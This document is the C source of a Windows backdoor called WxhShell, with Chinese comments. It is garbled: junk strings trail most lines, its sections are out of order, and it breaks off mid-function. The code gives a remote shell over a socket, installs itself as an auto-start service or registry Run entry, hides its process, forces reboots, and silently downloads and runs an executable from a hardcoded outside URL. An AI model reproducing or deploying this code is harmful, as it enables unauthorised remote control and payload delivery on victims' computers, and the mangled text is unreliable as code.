    if(Boot(SHUTDOWN)) G5W6P7-<X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y%9S4be  
    else { uN bOtA  
    closesocket(wsh); IWeQMwg  
    ExitThread(0); @/}{Trmg/  
    } l!f/0Rx5  
    break; "&/:"~r  
    } P 3uAS  
  // 获取shell ?29zcuRaru  
  case 's': { @xR7>-$0p  
    CmdShell(wsh); )e.Y"5My  
    closesocket(wsh); v)@EK6Nty  
    ExitThread(0); fr S1<+  
    break; <VV./W8e9  
  } xq_%|p}y  
  // 退出 hNB;29r~  
  case 'x': { .$b]rx7$ ~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); e*_8B2da  
    CloseIt(wsh); %+oWW5q7  
    break; dsP|j (y  
    } |K?fVL  
  // 离开 `j*&F8}  
  case 'q': { REnd# V2x  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); w)-@?jN  
    closesocket(wsh); fq/F| c  
    WSACleanup(); Bb[%?~ E!  
    exit(1); pq[RH-{  
    break; ,j wU\xo`C  
        } >E^?<}E~.  
  } <apsG7(7  
  } 8 [i#x|`g  
vQ=W<>1   
  // 提示信息 vTN/ho,H  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $|.x!sA  
} j"o`K}C  
  } J 2%^%5&0  
|M|'S~z  
  return; !!&H'XEJV  
} Ggy_ Ctu  
-e#YWMo(  
// shell模块句柄 s~ Wjh7'  
int CmdShell(SOCKET sock) ,>CFw-Nxu  
{ 9 O| "Ws>{  
STARTUPINFO si; 0'O;H[nrl  
ZeroMemory(&si,sizeof(si)); 5;{d*L  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :)}iWKAse  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; KL]K< A  
PROCESS_INFORMATION ProcessInfo; jLC,<V*  
char cmdline[]="cmd"; P<GY"W+r R  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); TF 6_4t6  
  return 0; uyP)5,  
} /6}4<~~4TA  
?RGL0`Lg  
// 自身启动模式 GutH}Kz"&  
int StartFromService(void) yA*~O$~Y  
{ 2|F.JG^  
typedef struct dT8m$}h9  
{ M= !Fb  
  DWORD ExitStatus; Mt)~:V+:  
  DWORD PebBaseAddress; XOzPi*V**  
  DWORD AffinityMask; P8!Vcy938  
  DWORD BasePriority; CYrVP%xRA  
  ULONG UniqueProcessId; r AMnM>`  
  ULONG InheritedFromUniqueProcessId; jPYed@[+  
}   PROCESS_BASIC_INFORMATION; zR h1  
fV*x2g7w  
PROCNTQSIP NtQueryInformationProcess; Ous[{"-J  
s]`&9{=E  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \1D~4Gz6}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %j=dKd>  
d.tjLeY  
  HANDLE             hProcess; p?X.I]=vRv  
  PROCESS_BASIC_INFORMATION pbi; i;xH  
BZEY^G  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  fI[tU(x  
  if(NULL == hInst ) return 0; YIb5jK `  
*%(8z~(\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); dluNA(Xc-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); T8>:@EL-k  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); JC`|GaUy  
:FwXoJc_+5  
  if (!NtQueryInformationProcess) return 0; /Ik_U?$*  
6PT ,m  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )hK5_]"lmj  
  if(!hProcess) return 0; %KNnss}  
kH d_q.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,eOOV@3C  
>i~W$; t  
  CloseHandle(hProcess); `,H\j?  
5%(J+d  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); NuI9"I/  
if(hProcess==NULL) return 0; uS bOGhP  
9 Am&G  
HMODULE hMod; 4IG=mG)  
char procName[255]; >x@]w sj  
unsigned long cbNeeded; xc Wr hg  
'#$% f  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *3WK:0  
r&)/3^S '  
  CloseHandle(hProcess); 0F=UZf&  
xksQMS2#  
if(strstr(procName,"services")) return 1; // 以服务启动 n[n0iz1-  
JV(eHuw  
  return 0; // 注册表启动 g 'c4&Do  
} %Fq"4%  
_CAW D;P  
// 主模块 SSycQ4[{o  
int StartWxhshell(LPSTR lpCmdLine) } IFZ$Y  
{ xy46].x-  
  SOCKET wsl; wx -NUTRim  
BOOL val=TRUE; z %{>d#rw  
  int port=0; Z"'rc.>a  
  struct sockaddr_in door; [VIdw 92  
</tiNc  
  if(wscfg.ws_autoins) Install(); Gnp,~F"  
GjE/!6b  
port=atoi(lpCmdLine); |M#b`g$JO,  
K`* 8 *k{  
if(port<=0) port=wscfg.ws_port; cy7GiB2'  
Tk $rwTCl  
  WSADATA data; !I]fNTv<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; W=}l=o!G.  
p.TR1BHw  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \$ ^z.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \lCr~D5  
  door.sin_family = AF_INET; &}32X-~y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^i_mGeu  
  door.sin_port = htons(port); ?;> s<  
?|TVz!3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { En8-Hc#NC  
closesocket(wsl); qqT6C%Q`kG  
return 1; /:>qhRFJA:  
} (*7edc"F  
P~redX=t@  
  if(listen(wsl,2) == INVALID_SOCKET) { kU_bLC?>D  
closesocket(wsl); \2-!%i,  
return 1; kLMg|48fdI  
} }cgEC-  
  Wxhshell(wsl); )52:@=h*l  
  WSACleanup(); 15VOQE5Fl`  
ps"crV-W  
return 0; cKh{ s  
f<9H#S:  
} Sd' uXX@  
_7~O>.  
// 以NT服务方式启动 :-.R*W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |!8[Vg^Wh  
{ v3Tr6[9  
DWORD   status = 0; f3lFpS  
  DWORD   specificError = 0xfffffff; <i^Bq=E<rJ  
N\=pH{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5!}xl9D  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; pA"x4\s   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |4YDvDEJi  
  serviceStatus.dwWin32ExitCode     = 0; :N\*;>  
  serviceStatus.dwServiceSpecificExitCode = 0; !cE>L~cza  
  serviceStatus.dwCheckPoint       = 0; kLR4?tX!  
  serviceStatus.dwWaitHint       = 0; @YdS_W  
.a:"B\B`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \E9Z H3;  
  if (hServiceStatusHandle==0) return; Zw| IY9D  
gR.zL>=_5e  
status = GetLastError(); t9&)9,my  
  if (status!=NO_ERROR) \MsAdYR  
{ x?KgEcnw2X  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {2R b^K  
    serviceStatus.dwCheckPoint       = 0; %*e6@Hm  
    serviceStatus.dwWaitHint       = 0; ?,%vndI  
    serviceStatus.dwWin32ExitCode     = status; )s,L:{<  
    serviceStatus.dwServiceSpecificExitCode = specificError; !~04^(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }DxXt  
    return; *rSMD_>  
  } :g2?)Er-  
uT8/xNB!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $Eg|Qc-1  
  serviceStatus.dwCheckPoint       = 0; -LzHCO/7(  
  serviceStatus.dwWaitHint       = 0; rK)So#'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); M A}=  
} PH9MB  
;{ XKZ}  
// 处理NT服务事件,比如:启动、停止 j;<Yje&Wz  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^)rX27!G  
{ <?&GBCe  
switch(fdwControl) Tc,Bv7:  
{ v#a`*^ ^  
case SERVICE_CONTROL_STOP: M<r' j $g  
  serviceStatus.dwWin32ExitCode = 0; Zn1+} Z@I  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; kwMuL>5  
  serviceStatus.dwCheckPoint   = 0; yTz@q>6s-  
  serviceStatus.dwWaitHint     = 0; {r`l  
  { zwN;CD1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -dsB@nPiUw  
  } 2WIL0Siwl  
  return; Pr{?A]dQ  
case SERVICE_CONTROL_PAUSE: xYc)iH6&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -6;0 x  
  break; Z}T<^  F  
case SERVICE_CONTROL_CONTINUE: L^KGY<hp4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; P_j ?V"i<  
  break; [^A.$,  
case SERVICE_CONTROL_INTERROGATE: Jn +[:s.  
  break; ^ox^gw)  
}; 7e/Uc!&*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1B+MCt4  
} Zd1+ZH  
/[VafR!  
// 标准应用程序主函数 ! o:m*:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M-K<w(,X  
{ 'C1=(PE%`  
~&CaC  
// 获取操作系统版本 Ra'0 ^4t  
OsIsNt=GetOsVer(); =8X`QUmT  
GetModuleFileName(NULL,ExeFile,MAX_PATH); v/c8P\  
iH#~eg  
  // 从命令行安装 VFT G3,kI  
  if(strpbrk(lpCmdLine,"iI")) Install(); +&jWM-T"-  
mAhtC*  
  // 下载执行文件 <t,uj.9_  
if(wscfg.ws_downexe) { WiH%URFB  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) XASoS5  
  WinExec(wscfg.ws_filenam,SW_HIDE); @BbZ(cZ*  
} T3[\;ib}  
@X>k@M  
if(!OsIsNt) { Wv77ef  
// 如果时win9x,隐藏进程并且设置为注册表启动 D ,mFme  
HideProc();  .#zx[Io  
StartWxhshell(lpCmdLine); ~"gOq"y 5p  
} kmy?`P10(z  
else !H~!i.m'-  
  if(StartFromService()) #Jy+:|jJ  
  // 以服务方式启动 IQGIU3O  
  StartServiceCtrlDispatcher(DispatchTable); XC?H  
else y@~.b^?_u  
  // 普通方式启动 3 cT  
  StartWxhshell(lpCmdLine); R{#-IH="  
nkS6A}i3o  
return 0; E-*udQ  
} a gBKp!  
e:AB!k^xp$  
YCh!D dy  
E"#<I*b  
=========================================== 5irewh'R  
To}L%)  
t82Bp[t  
I4m)5G?O2  
bkmX@+Pe  
b7aAP*$  
" xW/J ItF  
W;~^3Hz6  
#include <stdio.h> 7; T S  
#include <string.h> ]K XknEaxl  
#include <windows.h> EIEwrC  
#include <winsock2.h> ovm*,La)g  
#include <winsvc.h> J-Sf9^G  
#include <urlmon.h> 5w}xjOYIjV  
{EW}Wd  
#pragma comment (lib, "Ws2_32.lib") 8uyVx9C0  
#pragma comment (lib, "urlmon.lib") -W!g>^.  
+(PtOo.  
#define MAX_USER   100 // 最大客户端连接数 8 Sl[&  
#define BUF_SOCK   200 // sock buffer 8'^eH1d'  
#define KEY_BUFF   255 // 输入 buffer fkRb;aIl  
t,k9:p  
#define REBOOT     0   // 重启 q?} G?n 4  
#define SHUTDOWN   1   // 关机 5:ir il  
MAJvjgd ..  
#define DEF_PORT   5000 // 监听端口 YV! !bI  
jG)>{D  
#define REG_LEN     16   // 注册表键长度 LwY_6[Ef  
#define SVC_LEN     80   // NT服务名长度 O~'1)k>  
,LcMNPr  
// 从dll定义API (9Hc`gd)p  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Kz$Ijj  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Kh$L~4l  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); JN|<R%hy  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); S'ikr   
1/HPcCsHb  
// wxhshell配置信息 IgN,]y  
struct WSCFG { e m>CSBx  
  int ws_port;         // 监听端口 nr s!e  
  char ws_passstr[REG_LEN]; // 口令 N|[a<ut<  
  int ws_autoins;       // 安装标记, 1=yes 0=no n>#h(  
  char ws_regname[REG_LEN]; // 注册表键名 [K"v)B'  
  char ws_svcname[REG_LEN]; // 服务名 U$Ew,v<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {K[+nX =#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 D+ jk0*bJ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &1w,;45  
int ws_downexe;       // 下载执行标记, 1=yes 0=no rWbL_1Eq  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ch7eUTq A@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 vP,WV9Q1u  
q!O~*   
}; |/p ^e  
Y~Jq!  
// default Wxhshell configuration Ef?_d]  
struct WSCFG wscfg={DEF_PORT, `P# h?tZ  
    "xuhuanlingzhe", *YtITyDS3>  
    1, 0 _&oMPY  
    "Wxhshell", `bH Eu"(,  
    "Wxhshell", uQ8]j.0  
            "WxhShell Service", :+-s7'!4  
    "Wrsky Windows CmdShell Service", mtTJm4  
    "Please Input Your Password: ", _a.Q@A4'  
  1, *qpmI9m  
  "http://www.wrsky.com/wxhshell.exe", -n Hc52,  
  "Wxhshell.exe" E"w7/k#3}C  
    }; & JF^a  
aZBaIl6I  
// 消息定义模块 'i`;Frmg  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; y<;#*wB  
char *msg_ws_prompt="\n\r? for help\n\r#>"; pl7!O9bo  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %ecg19~L/}  
char *msg_ws_ext="\n\rExit."; TF{ xFb)  
char *msg_ws_end="\n\rQuit."; TcGxm7T  
char *msg_ws_boot="\n\rReboot..."; 0} {QQB  
char *msg_ws_poff="\n\rShutdown..."; kB  :")$  
char *msg_ws_down="\n\rSave to "; "` 9W"A=  
QTP1u  
char *msg_ws_err="\n\rErr!"; zL7+HY* 3o  
char *msg_ws_ok="\n\rOK!"; ,:;_j<g`e  
X1" `0r3  
char ExeFile[MAX_PATH]; v,2{Vr  
int nUser = 0; T> 1E  
HANDLE handles[MAX_USER]; UQhfR}(  
int OsIsNt; o#6j+fo!n  
zIm$S/Qe*  
SERVICE_STATUS       serviceStatus; <M 7WWtmx  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]huqZI  
%q:V  
// 函数声明 K_}vmB\2l  
int Install(void); }l_) d  
int Uninstall(void); ZA:YoiaC#  
int DownloadFile(char *sURL, SOCKET wsh); ))k^7g9M`  
int Boot(int flag); Z!hDTT  
void HideProc(void); H!s &]b  
int GetOsVer(void); BWQ (>Z"  
int Wxhshell(SOCKET wsl); +]I7)  
void TalkWithClient(void *cs); D^f;dT;-  
int CmdShell(SOCKET sock); /Nxy?g|,  
int StartFromService(void); W\X51DrEx  
int StartWxhshell(LPSTR lpCmdLine); Zcdt\;HKr  
JLs7[W)O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); M22 ^.,Z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7@C :4c@0  
2MJ0[9  
// 数据结构和表定义 J 9>uLz  
SERVICE_TABLE_ENTRY DispatchTable[] =  "X}!j>-  
{ D'A)H  
{wscfg.ws_svcname, NTServiceMain}, U3p=H^MB.  
{NULL, NULL} \N7 E!82  
}; ( R Ttz  
3hb1^HNT  
// 自我安装 \Mt(9jNK  
int Install(void) 8th G-  
{ iPI6 _h  
  char svExeFile[MAX_PATH]; ]<{BDXIGIE  
  HKEY key; I~#'76L[  
  strcpy(svExeFile,ExeFile); '{Iv?gh"  
7GE.>h5  
// 如果是win9x系统,修改注册表设为自启动 Xgop1  
if(!OsIsNt) { '7wWdq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~Kt.%K5lgt  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~` #t?1SP  
  RegCloseKey(key); J/ <[irC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <Gs)~T#'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); epz2d~;  
  RegCloseKey(key); -/KVZ  
  return 0; %mh K1,  
    } -1Tws|4gc  
  } QH#|R92:  
} K)F;^)KDHf  
else { ym<G.3%1  
m {wMzsQ  
// 如果是NT以上系统,安装为系统服务 36.L1!d)pE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Oh-HfJyi  
if (schSCManager!=0) -F@Rpfrj_#  
{ v8_HaA$5Y  
  SC_HANDLE schService = CreateService D.U)R7(  
  ( V$<og  
  schSCManager, Dj #G{X".  
  wscfg.ws_svcname, 9cX ~  
  wscfg.ws_svcdisp, uiM*!ge  
  SERVICE_ALL_ACCESS, uu]<R@!J  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }-YD_Pm K-  
  SERVICE_AUTO_START, 5\RKT)%X  
  SERVICE_ERROR_NORMAL, o#H"tYP  
  svExeFile, EZE/~$`3   
  NULL, V+cHL  
  NULL, DX4uTD  
  NULL, zeNvg/LI^  
  NULL, )^L+iht  
  NULL q"`1cFD  
  ); Y7]N.G3,]  
  if (schService!=0)  2o?!m2W  
  {  :v8j3=  
  CloseServiceHandle(schService); =w_y<V4  
  CloseServiceHandle(schSCManager); X=mzo\Aos  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +n9]c~g!T0  
  strcat(svExeFile,wscfg.ws_svcname); bgL`FW i3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { u m(A3uQ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4Poi:0oOys  
  RegCloseKey(key); _`*x}  
  return 0; 97NF*-)N  
    } k9'%8(7M:  
  } 8cF-kfbfZ  
  CloseServiceHandle(schSCManager); tDF6%RG  
} ``$At,m  
} *5.s@L( VU  
xSug-  
return 1;  3m  
} HE7JQP!q  
gO1`zP!9Z  
// 自我卸载 3zGxe-  
int Uninstall(void) VQ{}S $jQ  
{ thl{IU  
  HKEY key; # ]&=]K1V  
<Y9((QSM4  
if(!OsIsNt) { )pW(Cp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 03iO4yOu  
  RegDeleteValue(key,wscfg.ws_regname); ^SVdaQ{7  
  RegCloseKey(key); i~PN(h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l7 j3;Ly  
  RegDeleteValue(key,wscfg.ws_regname); CKmoC0.  
  RegCloseKey(key); MjQKcL4%7  
  return 0; Vq -!1.v3  
  } rwv_ RN  
} 2.Th29]  
} tB8XnO_c  
else { K q: +{'  
H&6lQ30/)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _t 'Kj \  
if (schSCManager!=0) #Kn=Q  
{ 4\Mh2z5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?SkYFa`u*  
  if (schService!=0) <RKh%4#~  
  { =YE"6iU  
  if(DeleteService(schService)!=0) { 1 nIb/nY  
  CloseServiceHandle(schService); BO5F6lyQ0P  
  CloseServiceHandle(schSCManager); =YR/X@&  
  return 0; $ThkK3  
  } LK)0g4{  
  CloseServiceHandle(schService); /E@LnKe  
  } #3f\,4K5  
  CloseServiceHandle(schSCManager); \\Fl,'  
} r8pTtf#Q  
} ?9i 7w1`  
sX^m1v~N|  
return 1; QA+qFP  
} ?tQUZO  
k?o(j/  
// 从指定url下载文件 .ss/E  
int DownloadFile(char *sURL, SOCKET wsh) %($sj| _l  
{ H :}|UW  
  HRESULT hr; <2HI. @^  
char seps[]= "/";  U(dT t  
char *token; 24}r;=U  
char *file; #5-0R7\d7  
char myURL[MAX_PATH]; ]HgAI$aA,  
char myFILE[MAX_PATH]; M@[{j  
CD:@OI  
strcpy(myURL,sURL); q*SX.A>YR  
  token=strtok(myURL,seps); lBvQ?CJ<y  
  while(token!=NULL) WFocA:  
  { ff**)Xdh  
    file=token; /lCn^E6-  
  token=strtok(NULL,seps); NmthvKhH   
  } 3b (I~  
Nc()$Nl8  
GetCurrentDirectory(MAX_PATH,myFILE); 1C6H\;  
strcat(myFILE, "\\"); Q+*o-  
strcat(myFILE, file); '=EaZ>=  
  send(wsh,myFILE,strlen(myFILE),0); X!2/cgU7  
send(wsh,"...",3,0); UxzZr%>s  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Fyrr,#  
  if(hr==S_OK) d nWh}!  
return 0; ^n"ve2   
else /m%i"kki  
return 1; y&")7y/uE  
ZY-W~p1:G  
} 7_)'Re#  
/v 7U~i5  
// 系统电源模块 ,kfUlv=  
int Boot(int flag) <?5 ,3`V  
{ {wiw]@c8  
  HANDLE hToken; +]*4!4MK6  
  TOKEN_PRIVILEGES tkp; EtK,C~C}8  
W2J"W=:z  
  if(OsIsNt) { m7Nm!Z7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )"s <hR ,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {]]qd!,  
    tkp.PrivilegeCount = 1; @ 6w\q?.s  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; P#-Ye<V~J(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {SVd='!V  
if(flag==REBOOT) { k;/U6,LQ*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _@wXh-nc  
  return 0; /MKcS%/H/  
} fx2r\ usX[  
else { g+|1khS)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _"%mLH=!8  
  return 0; nm2bBX,fh  
} ZG+8kt!w  
  } Z;`ts/?SY]  
  else { >/k[6r5  
if(flag==REBOOT) { cl:h 'aG  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) fw Ooi 'jb  
  return 0; YYwFjA@  
} 0+p <Jc!  
else { PRcW}"m]Qg  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 'M+iw:R__  
  return 0; ^u`1W^>  
} kBg,U8|S  
} MgkeD  
b:VCr^vp  
return 1; w6(E$:#d  
} 'r3yFoP}  
Y3^UJe7E  
// win9x进程隐藏模块 {2QCdj46  
void HideProc(void) KPc`5X  
{ I(!i"b9  
AlF"1X02  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ([\mnL<FC  
  if ( hKernel != NULL ) \2F{r<A\@  
  { 91'i7&~xdG  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  1$nlRQi  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); oZm)@Vv;  
    FreeLibrary(hKernel); KCEBJ{jM  
  } ;>YLL}]j  
gD`|N@W$5  
return; fg"]4&`j-  
} jNRR=0  
4h% G %>j  
// 获取操作系统版本 ZYf0FC=-  
int GetOsVer(void) .yK~FzLs  
{ (SMnYh4  
  OSVERSIONINFO winfo; mk*r^k`a  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); C{Y0}ZrmlF  
  GetVersionEx(&winfo); 0m8mHJ<&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) i"0]L5=P  
  return 1; !' ;1;k);  
  else ,6N|?<26O  
  return 0; .T;:6/??1  
} $#2zxpr,  
o_=t9\:  
// 客户端句柄模块 /qf(5Bm  
int Wxhshell(SOCKET wsl) |AD" }8  
{ vlW521  
  SOCKET wsh; rf@Cz%xDD  
  struct sockaddr_in client; C1/qiSHsh  
  DWORD myID; Y 1v9sMN,  
jd>ug=~x  
  while(nUser<MAX_USER) oW[];r  
{ ">zK1t5=  
  int nSize=sizeof(client); Tnd)4}2 p  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2H\ }N^;f  
  if(wsh==INVALID_SOCKET) return 1;  8kn> ?  
aL?+# j^"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /?(\6Z_A  
if(handles[nUser]==0) }J_"/bB  
  closesocket(wsh); 4th*=ku  
else >aw`kr  
  nUser++; 'c]Fhe fb  
  } Ddu1>"p-x  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); F"|OcKAA}h  
0[\sz>@  
  return 0; >]/RlW[  
} w^BF.Nu  
z?Hi u6c-  
// 关闭 socket /2s=;tA1  
void CloseIt(SOCKET wsh) Hsdcv~Xr;l  
{  kD}w5 U  
closesocket(wsh); ZwzN=03T  
nUser--; u4eA++ eT  
ExitThread(0); GvB;o^Wd  
} $%:=;1Jl  
\ t=ls  
// 客户端请求句柄 [ :Upn)9  
void TalkWithClient(void *cs) 0eMO`8u[A  
{ 0R21"]L_M  
Ka4KsJN  
  SOCKET wsh=(SOCKET)cs; .<fn+]  
  char pwd[SVC_LEN]; r]+/"~a  
  char cmd[KEY_BUFF]; ?:$aX@r  
char chr[1]; '}$]V>/  
int i,j; r(qw zUI  
}F B]LLi  
  while (nUser < MAX_USER) { VoG_'P  
OTy{:ID  
if(wscfg.ws_passstr) { ":I@>t{H*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P* Z1Rs_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JK jVrx> @  
  //ZeroMemory(pwd,KEY_BUFF); *#y9P ve  
      i=0; f*%Y]XL;%  
  while(i<SVC_LEN) { +hZ{/  
ByU&fx2Z  
  // 设置超时 Kb$6a'u7  
  fd_set FdRead; 4{v?<x8  
  struct timeval TimeOut; 6?`3zdOeO  
  FD_ZERO(&FdRead); c*!xdK  
  FD_SET(wsh,&FdRead); 6&,{"N0 T  
  TimeOut.tv_sec=8; , tEd>  
  TimeOut.tv_usec=0; ~9We)FvU4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); S\poa:D`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [Dq@(Q s'  
hJc^NU5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (ah^</  
  pwd=chr[0]; {SRv=g  
  if(chr[0]==0xd || chr[0]==0xa) { Efa3{ 7>{  
  pwd=0; ABIQi[A  
  break; S%6V(L|  
  } eaWK2%v  
  i++; Z@ dS,M*  
    } hY(q@_s  
#qcF2&a%  
  // 如果是非法用户,关闭 socket c,,(s{1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -s_=4U,  
} zcE` .)y  
p|`[8uY?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Io*mFa?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b/]@G05>>  
1nZ7xCDK98  
while(1) { 4qKMnYR  
^ZD0rp(l  
  ZeroMemory(cmd,KEY_BUFF); 3?x}48  
$5r1Si)  
      // 自动支持客户端 telnet标准   p!o+8Xz5  
  j=0; !h.bD/? K  
  while(j<KEY_BUFF) { B*;PF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U|jip1\  
  cmd[j]=chr[0]; EmYu]"${1  
  if(chr[0]==0xa || chr[0]==0xd) { ;\],R.!  
  cmd[j]=0; ( L 8V)1N  
  break; +eVm+4WK  
  } @|;XDO`k;  
  j++; w:|YOeP  
    } }nt,DG!r  
d-ML[^G  
  // 下载文件 3FQXp  
  if(strstr(cmd,"http://")) { Pm=i(TBS/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); xN>+!&3%w  
  if(DownloadFile(cmd,wsh)) 0 >:RFCo  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #+SdX[ N  
  else T,uVt^.R+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Bc1MKE5  
  } Y{c+/n3d  
  else { ]%<0V,G q  
